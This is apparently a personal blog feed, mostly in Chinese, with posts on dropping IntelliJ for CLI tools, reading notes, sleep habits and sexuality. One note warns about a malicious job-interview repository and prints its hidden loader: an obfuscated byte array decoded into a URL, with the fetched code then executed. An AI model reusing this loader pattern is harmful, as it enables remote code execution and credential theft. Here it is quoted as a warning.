2025-10-20 16:16:00
Let’s be totally honest. IntelliJ IDEA is bloated, slow, and buggy. It’s not the worst tool but certainly doesn’t provide a comfortable dev experience, especially when it’s so damn expensive. Not to mention, it eats up precious storage space on my MacBook (that one’s probably on Apple though).
The one thing I don’t understand is that people urge Java beginners to download this software filled with magic buttons when they don’t understand how everything works. Personally, I never fully understand the magic behind “Run/Debug” button — It does too many things! Depending on the project type and configuration, it can compile and run a single java file, or it can build, deploy, and start a local server.
When I started out learning Spring, people just told me to configure this and configure that, simply asking me to follow a set of instructions that seemed to come out of nowhere, with no further explanation. (I seriously doubt they understand it themselves) And then, I was told to hit the “Run” button. And boom. There’s your project up and running. Start Developing!
Software like IDEA makes development far more complicated than it needs to be, with too many layers of interfaces. It’s probably a fair trade-off for large teams, but certainly not for everyone. And there are better solutions. I can put up with photo and video editing apps like PhotoShop having complex UIs — there’s no other way to do it. But for software development? Why would I need all those sections and subsections and sub-subsections in the setting panel, when a bunch of configuration files can do the work just fine?
With the IDE interface being bloated, learning Java development becomes two things: The basic language knowledge (the syntax, common libraries and best practices) and HOW TO GET THIS GODDAMN THING TO F*CKING WORK.
I don’t see C programmers losing their minds because their editors break. In fact, let’s appreciate the beauty of C development. You got a simple editor, a trusty compiler, and… nothing else.1 Your compiler tells you what goes wrong, and you fix it. That’s it! JavaScript development also requires only an editor and a set of CLI tools (build tools and package managers) to work. There might be tools like ESLint and husky that add to the workflow, but they’re introduced by choice. We know what we’re doing and we know why we need them.
An integrated development environment robs you of free choices and deliberate thinking, making you depend on defaults and automation you don’t fully understand. It’s got everything they think you need, covering it up with magic, and you just stop thinking and take them for granted along the way.
That’s stupid. Let’s just stop. Even if you do use an IDE, that should be the result of your own judgment. And trust me. You’ll probably find that you don’t need one.
Almost every common task can be done with the right CLI tool. For instance, I never really used the database panel in IDEA. I just enter mysql
or mariadb
in my terminal and type SELECT * FROM ...
. SQL command not only works, but also is clear. You won’t get lost with interface navigation when you’re just typing text commands.
It’s true that CLIs are harder to learn. Beginners might take a while to understand what each command does and to remember their names. But the clarity is precious. You don’t just hit “Run” and expect magic to happen. You type mvn spring-boot:run
and realize you’re starting a Spring Boot application with a Maven plugin. The server setup and annoying configurations are already simplified by Spring Boot, so a line of command can do the work. And if something goes wrong, you know what happened exactly. You don’t have to navigate through tabs just to find where the error log is!
The fact that I have to click through multiple menus to find what I need is insane! Everything should be at most one-click away and I should be able to navigate only using my keyboard! Mouse is the slowest input device if you’re not gaming.
For IDEs based on graphic interfaces, if you want to create a Spring Boot project, you need to click a “New Project” button. And then select “Spring Boot” in the left panel. And then click the inputs appeared on the right panel to edit names and stuff. And click “OK”. And scan a list of dependencies where you probably don’t recognize most of the items, and then select the dependencies you think you need. And hit “Continue”. Finally, after seconds (which can be really long depending on your machine) of loading, you’re in a whole new interface with panels and sidebars and split-views!
For command-line interfaces, you copy-paste and edit this command in your shell:
curl https://start.spring.io/starter.zip \
-d dependencies=web \
-d language=java \
-d name=demo \
-d packageName=com.example.demo \
-d type=maven-project \
-o demo.zip
Unzip it, open it with any editor you’d like (which is usually way faster than IDEs), and voilà — You got yourself a Spring Boot project ready to go. If you create new projects very often, you can create snippets, templates, scripts, or aliases in any way you want, simplifying this action to a single line of command.
One of the things I hate about IDEA is the “Maven” button. It only appears in pom.xml
tab and sometimes disappears for no reason, making a simple dependency update unnecessarily confusing. I’ll have to navigate to a drop-down menu to sync my Maven dependencies. That’s stupid. Just type mvn clean install
and hit enter.
If you want to push to the extremes, use Vim or Helix, an editor running in your terminal. Then all of your development can be done in one place, a place faster and more flexible than any IDE.
Plus, there’s more.
My current setup is Zed + Ghostty for Java and JavaScript development. I also poke around with Go, Lua, Python, and other tech with that. With the right CLI and editor extension installed, there is zero friction.
There are massive IDEs built for C, like CLion, also a JetBrains product. Honestly, I don’t really see many people using it. Maybe I’m biased. Correct me if I’m wrong. ↩︎
2025-10-20 08:36:00
Taylor Swift
大概是下雨的关系,这几天总是在路上听这首歌。
把 IntelliJ IDEA 卸载了,一方面是它真的太重了,另一方面是最近写代码的时候遇到好几个莫名其妙的问题,和代码无关,IDEA 重装之后也无法正常打开项目,完全不知道怎么排查。如果不用图形界面的话,就完全不会有这些问题,所以我就全面转向 Zed 编辑器和命令行工具了。自己需要写 Java 代码的时间其实相对较少,用得更多的语言是 JavaScript、Lua 还有偶尔的 Go 语言,这些语言我都能够用一个简单轻量的编辑器,加上本身就足够好用、清晰的命令行工具搭建开发环境。
明明 Spring Boot 的 mvn spring-boot:run
和 JavaScript 的 npm run dev
一样好用,命令行排查问题也更方便、加载速度也更快,真不知道为什么非要用一个又贵又难用的图形界面工具。即使是开发大型软件,这种配置也更接近真实的运行环境,而且各种操作都是透明的,没有伪装成按钮和表格的「魔法」。
如果我要更进一步的话,我大概就会去用 Emacs 或者 Vim 编辑器了。
这周读完了三本书,分别是萨特的《 存在主义是一种人道主义 》《 零废弃 》和《 控糖革命 》,可以在博客阅读我写的三篇书评。读完之后我也在逐渐把家里的塑料制品逐步替换为金属、玻璃、硅胶或陶瓷材质的;开始控糖,在餐前吃富含纤维的开胃菜、喝醋汁、饭后适度运动。
📜
本文批评了 Apple 的新设计语言「Liquid Glass」,认为新设计让内容变得更复杂,从而降低了实用性,而且一些新的设计方案摒弃了已有的操作习惯和传统。
最值得诟病的是液态玻璃的「透明度」,尽管经过几轮测试之后,可读性有了提升,但层级的缺失使得两层甚至三层内容经常堆叠在一起。这不仅是可读性很差,而且非常丑。许多元素经常叠在一起抢占空间,还抢占用户的注意力。
新系统里的动效非常丰富,但很多都没有必要。作者说,苹果的新界面像是无时不刻地在喊「看看我!」,然而界面实际上应该让步给内容。有很多动画不仅令人困惑且没有意义,还让整个界面看起来很复杂、很「慢」。
由于新系统里多了很多悬浮按钮,而这些按钮都有玻璃背景,玻璃两边离屏幕边缘有很大的距离,再加上无处不在的大圆角,防止按钮的空间其实被压缩了,这也就导致可供用户点击的空间变小了,也让按钮挤在一起。最气人的是 Safari,当「前进」「后退」和「菜单」按钮都显示出来时,中间的地址栏就会被挤成一小条,甚至分辨自己在哪个网站上都变得很困难。
作者还批评了 iOS 26 的「可预测性」(predictability),类比了 Microsoft Office 曾经「把用户常用的按钮放在前面」这种看似合理但实际上非常难用的策略,动态、变化的 UI 会让用户没有办法在原来的地方找到自己想要的功能,反而需要更多的时间导航。在以「健康」为例的原生应用里,用户一点击搜索框,左边的导航栏就会收缩起来变成一个——我自己的体会是,这的确会让我在切换页面时看到困惑;尽管能够理解这种设计,也不至于因此而迷路,但这就是没有不会变化的界面来得直观和快捷。
在以前,iOS 上各种 App 的搜索框都被放置在页面最上方,用户下拉页面就能看到折叠起来的收缩框。现在,Apple 把搜索框固定到了界面下方,可以随时点击。然而,习惯了下拉进行搜索的老用户明显会感到不习惯,需要重新学习。Apple 还移除了面包屑导航,现在点击返回按钮时用户需要回忆自己会回到什么地方。
总而言之,作者认为苹果的新设计「美观性大于实用性」(prioritizing spectacle over usability),很多设计都只可远观,不可亵玩。
一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角?
此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight……
#设计 #Apple
📜
作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 npm run start
启动项目的时候,他突然觉得哪里不对劲。
于是他向 Cursor 的 AI Agent 问了一个问题:
在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码?
Agent 帮他翻出来了这段代码:
//Get Cookie
(async () => {
const byteArray = [
104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
98, 50, 48, 51, 49, 102, 98, 57
];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => {
new Function("require", response.data.model)(require);
})
.catch(error => { });
})();
将 byteArray
解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。
作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。
AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 npm run start
执行一个简单的前端项目也有被黑的可能性。
#隐私
📜
因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。
所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。
{
"type": "TextRun",
"glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...],
"style": "paragraph"
}
一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。
最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。
尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。
读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。
一个开源的 macOS 应用,提供更多的电量显示,支持本机、iPhone、iPad、AirPods 以及各种蓝牙配件,电量可以用小组件、Dock 栏图标和菜单栏图标等形态展示,还能设置低电量和高电量提醒。软件支持零配置开箱即用,但第一次使用还是需要操作一下:需要用数据线连接 iPhone 并信任设备,然后在设置里打开允许通过蓝牙发现设备,才能正常显示 iPhone 电量,成功配对 iPhone 之后能够自动配对 Apple Watch;通过 Nearcast 功能,可以通过局域网广播的方式同步其他 Mac 的电量…… 不是苹果但带有蓝牙电显功能的蓝牙设备似乎不能正常显示电量,至少我的设备上没有。
我其实很少会检查设备的电量,经常在要出门的时候才发现 iPad 或者 MacBook 没电了(最坏的情况是 AirPods 也没电了,不过有无线充电设备之后这种情况就很少发生了)。通过小组件聚合显示所有设备的电量的确会方便不少,能提醒我及时给设备们充电。
一款基础功能免费,高级功能付费的截图软件。高级功能包括移除水印、滚动截图、固定图片到桌面、文字识别和类似 Cleanshot X 的截图美化。包括基础功能在内的各种使用体验都做得非常优雅,1Capture 的箭头标注工具大概是我见过最好看的了,还有自带的贴纸,贴上自带阴影,而且每个贴纸都长得很好看。目前 1Capture 终身买断价格为 ¥98,我决定先试用 7 天,搞不好真的又要花钱购买了。
其实 1Capture 从功能上来讲,完全可以被 PixPin 的免费功能替代,奈何后者是 Qt 开发的,放到 macOS 上还是太丑了。如果不在意美观程度,完全可以用 PixPin 替代。ß
访问: 1Capture
大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。
游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。
访问: Is This Seat Taken? on Steam
人类,你可以观看猫咪进食。
访问: meow.camera
2025-10-19 17:47:00
最近发现自己的睡眠质量有了很大提升,具体体现在深度睡眠时间的增加、起床变得更简单和早晨时身体感觉更好。其实我最早通过写睡眠日记来改进睡眠质量的尝试是以失败告终的,强迫自己早睡也毫无用处,最近的这些改变是在潜移默化中发生的,连我自己都不能完全搞明白自己做了什么有效的动作。今天的文章就来总结一下我最近几个月为睡眠作出的积极改变。
这应该是效果最显著的两个工具了。戴耳塞的习惯在我搬出宿舍之前就养成了,因为宿舍里有一个室友几乎每天晚上都打鼾,声音大到让我觉得自己内脏都在抖的那种。后来,我发现,即使没有很明显的噪音,戴上耳塞阻断听觉也能让我更快入睡,因为大脑接收到的信息变少了,塞住耳朵之后会觉得整个世界都安静了。
一开始我戴耳塞的时候,也像大多数人一样觉得耳道有异物会很不舒服,不过我很快发现这是耳塞形状的关系。一般的耳塞(如图 A)是一个圆头的锥体,边缘是一条直线,试过另外一种形状接近扑克牌中黑桃(♠️)的耳塞(如图 B)之后,我发现佩戴耳塞的舒适度提高了不少。市面上还有不少形状稀奇古怪的耳塞,价格是一般耳塞的十多倍,我没有试过,但我觉得没必要买那么贵的,因为物美价廉的选择其实不少。
耳塞一般是柔软的纤维材质,有很多细孔,不容易清洁。出于卫生考虑,我购买的是罐装的耳塞,佩戴过 2~3 晚的耳塞就会被扔掉。一罐的价格其实也就十块出头,而且能用一两个月。
至于眼罩,我认为只要足够柔软、能有效遮光(不遮光还叫什么眼罩?)、清洗方便即可。一般的眼罩都有为鼻子预留空间,佩戴不会感到不适。由于季节的温度和湿度差异,可以购买有冰丝面料和棉面两面的眼罩,这也能增加佩戴的舒适度。
值得一提的是,无论是眼罩还是耳塞,再初次使用时肯定会感到些许不适,需要一定的时间适应。习惯之后,睡眠质量能获得很大提升。我很挑床铺,以至于每次回家或旅游,在另一张床上总是很难入睡,眼罩和耳塞也能为我带来一点熟悉感,事实证明这真的会让我更容易睡着。
夏季和冬季最令人讨厌的事情莫过于大晚上被热醒或者冷醒了,因此根据房间的温度选择适宜的被铺很重要,也有必要把控卧室的室内温度。我在卧室挂了一个小型的电子温度湿度计,可以随时查看房间内的温湿度。
一般来说,最有助于睡眠的环境温度是 15°C~19°C1,但并不是所有人都有条件在任何季节创造这样的睡眠环境。对我而言,根据室温调整床铺厚度就好了。一般来说,在夏季我会尽量让卧室内温度在睡眠期间保持在 20°C~22°C,同时选择较薄的被子。在冬季,能在躺下的几分钟内感到暖和并不至于闷热即可。我其实很讨厌凉席这个东西,主要是太硬了;即使为了腰背的健康选择较硬的床垫,柔软的床单或床笠也能让睡眠的舒适度提升不少。
湿度是很容易被忽略的一个点,造成闷热的主要原因就是湿度太高。空调的作用不只是调整温度,还有降低湿度,这也是为什么我在秋冬换季的时候依然会选择开空调,在这个时候房间的温度很容易上升到 70% 以上,不开空调真的很难受。一般来说,湿度在 50% 左右是最好的,如果太高就开空调抽湿,如果太低可以考虑购置加湿器;如果你住在南方的话,大概是不需要加湿器这个东西的。
除了保温效果,被铺本身就能带来一定的舒适感,选择更厚重的被子有利于更快入睡,因为身体会感到被包裹、被保护。从我自己的体验来看,冬季的睡眠质量往往要比夏季的睡眠质量更好,和床铺的厚度也有关系。一般来说,房间的温度越低越有利于睡眠,所以在夏季也可以选择降低空调温度,使用更厚重的被铺来提升睡眠质量。
灯光会显著地影响睡眠。人造光源会被身体误以为是日光,扰乱人的昼夜节律,也就是生物钟,对睡眠影响更大的是,光还会抑制褪黑素的分泌。即使是微小的灯光也会造成这样的影响。尽管所有光都会影响昼夜节律和褪黑素分泌,但蓝光对人体的影响要更为显著。2
蓝光指的是波长约在 400 – 500 nm 区间内的高能量可见光(High-Energy Visible Light)。人造光源和电子设备的屏幕都会释放蓝光。macOS 的「夜览」和其他软件的类似功能,会让屏幕整体上变黄,其实就是过滤掉了一部分的蓝光——这并没有「护眼」功能,只是缓解了夜间蓝光暴露对睡眠的影响,把「夜览」称作「护眼模式」是不恰当的。
由于对褪黑素的抑制,暴露在蓝光下会让人更难以入睡。一般建议睡前一到两个小时不要使用电子设备,但承认吧,这实在是太难了!所以使用「夜览」等功能过滤蓝光,或者佩戴防蓝光眼镜,就能缓解这一影响;同时,在睡前三十分钟内不看手机,应该是取舍后比较理想的做法。
除了屏幕,很容易被忽视的就是房间内的灯光,几乎所有人造光源都会释放蓝光,更节能、更常见的 LED 灯释放的蓝光更多。为了尽可能把昼夜节律扳正,在夜间关闭大部分的光源,多使用暖光而不是白光,也能减少蓝光暴露,缓解灯光对褪黑素的抑制。最有效的做法是购置专门在夜间使用的「红光灯」,因为红光对睡眠的影响最小,不过我认为没必要专门花钱购买这种灯,而且说实话,红色的灯看着挺瘆人的。
睡前减少灯光暴露,起床后有意识地增加暴露在光照下的时间也很重要。这不仅能让早晨的时间更清醒,还能调节昼夜节律。据说在起床后观察日出也有这样的效果,不过住在楼房里的城里人大概是享受不到了。
睡觉的房间里最好一点光都不要有,如果有中央空调控制器、路由器、空气净化器都设备的知识灯光,也要想办法尽量遮住;尽量使用遮光的窗帘隔绝室外的灯光,路灯、对面楼层的灯光都是影响睡眠的因素。如果不能隔绝房间里的光,那就戴眼罩吧。
你早上一般是怎么醒的?对我最有用的闹钟就是尿意,我已经数不清楚有多少个早晨我是被尿憋醒的了,有的时候是凌晨三四点的时候爬起来上厕所。进食和直接喝水都会增加几小时后尿尿的概率,在睡前的几个小时内应该减少进食和饮水行为。
除了避免睡眠中断,禁食也是为了保证睡眠期间血糖水平的稳定。如果在睡前吃东西,睡觉的时候血糖水平就会产生波动,上升然后下降。如果吃的是富含淀粉、果糖或葡萄糖的食物,这种波动就会更大;如果是冰淇淋、含糖巧克力这样的精致糖类,就会出现很高的葡萄糖峰值,这样的食物会让葡萄糖水平立刻上升,之后又快速下降。血液中过多的葡萄糖会让线粒体高速工作产生能量,由于睡觉时人几乎不运动,新陈代谢水平也更低,葡萄糖就没办法被快速消耗。这些糖不仅更容易被转化为脂肪,也可能造成夜间突然惊醒,甚至心悸。3
总之,带着被清空的膀胱和平稳的血糖水平上床睡觉是最好的选择。
睡前运动究竟会不会影响睡眠?这个问题似乎有不少争议,支持两边观点的都有,而且似乎都能拿出一些科学依据。比较模糊的是「睡前」的定义,这指的是运动完之后立刻睡觉,还是说睡前一到两小时内运动都算「睡前」?另一个比较模糊的点是「运动」的类型,有氧运动和无氧运动对人体的影响显然是不同的,撸铁后睡不着觉似乎是真的,但夜跑的不少,我也几乎总是在晚上九到十点跑步。跑步作为有氧运动,对睡眠的影响似乎要小很多。
仔细思考的话,真正的问题其实并非「运动会不会影响睡眠?」,而是「运动导致了身体的什么发生变化,而这些变化中与睡眠有关的又有哪些?」。运动显然会导致体温上升、心率升高、激素水平发生变化,还会激活交感神经;运动的强度和这些因素也有关。
「睡前」的定义也和这些因素相关。从我的经验来讲,夜跑的强度通常不会太高,心率通常在三区间,在后段可能上升到四区间和五区间,我的配速通常在 5'40’’ 左右,持续时间通常是 30 分钟。在我习惯的强度下,一个小时之内心率和体温就会恢复正常,头脑也会感到平静——我甚至有可能睡得更香。如果是强度更高的运动,可能就需要两个小时甚至更长的时间回复。健身撸铁通常要把肌肉练到力竭,把身体逼到接近极限,所以需要更长的时间恢复,对睡眠的影响也更显著。对不同的人来说,在运动后恢复所需的时间也会有差别。
在我看来,睡前可以进行运动,但要避免突破身体极限的高强度运动;根据运动的强度,需要恰当的休息时间才能恢复,所以要根据强度把握好上床时间和运动时间。无论如何,根据自己的身体感受和健康设备提供的睡眠记录进行调整,应该就能找到比较适合自己的睡前运动方法。
不过,这一小节大多都是我根据自己浅薄的生物学知识作出的猜测,没有文献支撑,如果有错还恳请读者指正。
咖啡因是一种中枢神经兴奋剂,它的作用是阻挡腺苷的接受。腺苷与它的接收器结合时,可以减缓神经细胞的活动,这一般在睡眠时发生,而咖啡因可以阻止腺苷让神经细胞变得平静。咖啡因会在 45 小时内被胃和小肠完全吸收,之后存在于人体的所有器官中。对一个健康的成年人来说,咖啡因的半衰期是 3~4 个小时,也就是说在 6~8 个小时内,咖啡因都不会从体内彻底消失;对口服避孕药的女性来说,半衰期是 5~10 小时,对怀孕女性是 9~11 小时,小孩子的咖啡因半衰期比成年人更长;吸烟也会延长咖啡因的半衰期。4总而言之,对普通人而言,睡前 8 小时内不应该摄入咖啡因;不同的人应该根据自己的情况调整这个时间。
需要注意的是,「晚上睡得着觉」并不是咖啡因被完全代谢的标准,如果身体太困,即使腺苷的接受被阻挡也能睡得着觉,但这肯定会显著影响睡眠质量,体现在深度睡眠时间减少、夜间清醒时间增加等等。总是有人得意洋洋地跟我说他们晚上喝了咖啡也能睡得着觉——睡得着不代表睡得好。
咖啡因不只存在于咖啡中,还被广泛地添加到碳酸饮料中,所以喝可乐也会摄入不少的咖啡因;茶饮中也有大量的咖啡因,包括奶茶。大晚上一边吃炸鸡一边喝可乐固然很爽,但这是以睡眠质量为代价的——偶尔爽爽没问题,但长期这样会对身体产生很大的负面影响。
我给自己制定的标准是,下午两点之后不喝咖啡,这样的话,我从咖啡中摄入的咖啡因就会在晚上十点左右被完全代谢。至于碳酸饮料,应当尽量避免,因为就算是无糖可乐,其中的人工甜味剂也可能导致胰岛素水平上升,使血糖下降产生饥饿感,和咖啡因配合起来简直要命。偶尔在晚上喝一次碳酸饮料,摄入的咖啡因总量要比咖啡少很多,控制在睡前 3~4 小时前喝完,我想应该是一个折衷的做法,因为 3~4 小时后,咖啡因就被代谢掉一半了。
我滴酒不沾,但身边喜欢夜间微醺甚至一醉方休的人其实不少,我想有必要做些研究,看看酒精对睡眠的影响。
我听过最多的说法就是:喝完酒之后很容易睡着。有一次在家的时候,我父亲让我上楼去做两杯拿铁招待客人,那个时候是晚上十点左右了。他和客人都一致认为,喝了酒之后再喝咖啡都没事,我父亲还信誓旦旦地声称自己晚上喝咖啡完全睡得着觉。重申:「睡得着」和「睡得好」完全不一样。
短期来看,饮酒会催生昏睡感,让人更容易睡着,但这会扰乱睡眠质量;长期来看,饮酒还会加剧睡眠障碍。5睡前 30~60 分钟饮酒,由于血液酒精水平上升,会导致睡眠维持(sleep maintenance)和睡眠结构(sleep archetecture)的中断;简单来说,就是会导致中途醒来,同时会影响睡眠阶段的规律(睡眠阶段包括浅度睡眠、中度睡眠、慢波睡眠和快速眼动睡眠)。饮酒会使得前半段睡眠的慢波睡眠时间增加,快速眼动睡眠时间减少;在后半段睡眠,快速眼动睡眠和阶段一睡眠远超基准线地增加。总而言之,饮酒会「改变」睡眠结构。
人体会对这种睡眠结构的改变产生耐受性。不常饮酒的人喝酒之后会感到镇静,更容易入睡;而常饮酒的人则更容易感到兴奋,扰乱睡眠。对于失眠者来说,适当饮酒有助于提升睡眠维持(sleep maintenance),也就是不易醒来。有趣是的,嗜酒者在选择停止饮酒过后,睡眠会变得更浅、更碎片化,这可能需要 1~2 年的时间才会恢复正常,对一些人来说可能永远不会恢复正常。可见过度饮酒对长期睡眠质量的危害。
简而言之,睡前饮酒会改变正常的睡眠结构,长期过度饮酒可能会对睡眠造成慢性、长期的负面影响。适度饮酒并避免睡前饮酒是最好的选择。
要了解更多的细节,可以阅读 Wikipedia 上的 Alcohol use and sleep 这个条目。
以下是一些我不能说一定有关联,但自认为有些影响的改变。这些内容看看就行,我没有去找相关的资料作支撑。
我发现自己的深度睡眠时间,也就是对体力恢复和记忆形成至关重要的慢波睡眠,在过去的一年里有明显的提升。尽管我的总睡眠时长并没有增长太多,但我的深度睡眠时间却从平均 40 分钟增加到了平均 1 个小时 20 分钟,有时候甚至能达到接近两个小时;即使是在只睡了不到 6 个小时的情况下,深度睡眠时间依然能够超过 1 小时。睡得更深让我早上更容易从床上爬起来,因为睡眠质量变好了,身体恢复得也更好,就不会在早上感到过度疲惫而不愿意起床。
另一个好处是我睡觉的「前摇」和「后摇」都大大缩短。戴上耳塞和眼罩之后我几乎沾床就睡,很少失眠;起床之后缩在被窝里疯狂延迟闹钟的情况也减少了,就算偶尔晚睡晚起,也再没有出现一觉睡到大中午的情况。换句话说,我用更少的待在床上的总时间,换到了质量更高的睡眠。
睡得怎么样很大程度上决定了我的一天过得怎么样,睡得不好会让我一天都没精神,喝了咖啡也会很快在下午感到倦怠。况且,长期睡眠质量不佳还会有更深远的健康风险。人一天有三分之一的时间都在睡觉,如此重要的人类活动自然要多加重视。
哦对了,时至今日我依然无法做到早睡。相对整体的睡眠质量和规律的作息而言,一味地强调早睡早起是不动脑子的做法——早睡早起真的有那么重要吗?
参见: What’s the Best Temperature for Sleep? - Cleveland Clinic 和 What Is the Best Temperature for Sleep? - healthline ↩︎
参见: 咖啡因 - 维基百科 ↩︎
参见:“Alcohol use and sleep have a complex relationship.[1] While alcohol may initially induce drowsiness, it can disrupt sleep quality and exacerbate sleep disorders in the long run. During abstinence, sleep disruption is one of the greatest predictors of relapse.” - Alcohol use and sleep - Wikipedia ↩︎
2025-10-18 11:57:00
作为性少数者,我其实能理解大多数异性恋者对同性恋感到恶心的本能反应,我认为这种「恶心」作为生理反应来说是真实的,并且,「恶心」本身并不是一个价值判断,换句话说,「我觉得同性恋很恶心」对我而言毫无攻击性,一方面它只是一种感受(甚至不能称得上是情感),另一方面,我也觉得异性恋很恶心。
曾经听到过某种说法,人们在观察到人与人之间的亲密互动和浪漫氛围时,会在潜意识层面将自己代入类似的关系,就像单身汉看到热恋的情侣可能会感到羡慕,因为他自己期待处于这样一段关系中;人们喜欢在互联网乃至现实中「磕 CP」,致力于窥探他人的感情生活,也是出于类似的心理。那么,当一个异性恋者观察到同性之间有这样的互动时,这样的「潜意识回路」仍然被启动了,只不过,当异性恋者将自己代入一段同性关系时,他会感到排斥。
另一个有趣的现象是「腐文化」。腐女一般指代那些喜欢耽美作品,观看或阅读两名长相气质非凡的男性谈恋爱的女性。腐女不会对男同性恋感到排斥的原因在于,她们自己作为性取向为男的异性恋者,潜意识地将自己代入一段有两名男性的关系时,仍然能感到愉悦和满足,这种满足甚至是比男女关系更强的,因为这段关系里男性的数量为二。反过来,也有不少异性恋男性喜欢看女同性恋作品,我也听过一些恐同的直男表示「你们同性恋好恶心,女同还好吧,男同是真恶心」,原因就在于,代入一段女同性恋关系时,异性恋男性能获得来自两位女性的情爱,而男同性恋关系中则一点也没有。请注意我一直强调「潜意识」这个词,因为我觉得这种反应是很接近生物本能的,所以人不会产生「我看到了一对男性谈恋爱,所以我要把自己代入进去,代入之后我感到恶心,所以我觉得男同性恋很恶心」这样的完整逻辑通路,而是在观察到同性亲密行为之后立刻感到了恶心。
同理,我作为男同性恋者,在观察到异性恋亲密行为和女同性恋亲密行为时,也会下意识地感到恶心,这不可避免。区别在于,同性恋者作为社会中的少数人群,早就习惯了异性恋浪漫的「宣传」——如果每天都会经历这种「恶心」,那这种感觉也没那么难以忍受了,迟早会习以为常。一些人声称「尊重同性恋,但反对宣传同性恋」,其实就是在「被宣传」中感到了恶心而已,殊不知同性恋者每天都在接受相同的恶心,早就被异性恋的浪漫文化驯化了。我认为,性少数运动的一个目的就在于把异性恋者会从同性恋身上感到的恶心平常化,就像同性恋者所经历的一样。
当然,读者可能不会有类似的感到恶心的经历,原因有两个。一是不是所有人都会将自己代入他人的亲密行为中,如果你不喜欢「磕 CP」,那你大概也不会有类似的体验;二是大多数人都不是绝对的异性恋或同性恋,性取向可能是一个光谱而非只有两端,只是对大多数人而言,同性对自己的吸引力还不足以建立浪漫关系,但对一些人而言,这样的吸引力足够让他们在潜意识层面将自己代入同性关系时不感到恶心。
以上是恐同和恐异的共通之处,也就是生物层面的相似性,而真正的差异体现在社会层面。
我其实很喜欢开直男玩笑,我经常嘲笑室友的衣着是「直男穿搭」(这当然是朋友之间无伤大雅的小玩笑),我也经常调侃说「看不懂你们异性恋」「你们异性恋都这样吗?」(再次声明,这只是玩笑,如果有人对我说「你们男同都这样吗?」,我也不会感到冒犯),以至于室友误以为我「恐异」,并且向我指出「我觉得恐同和恐异本质上是一个东西吧」,试图指出我的前后不一致。当然,他没有得逞,因为那只是个玩笑。
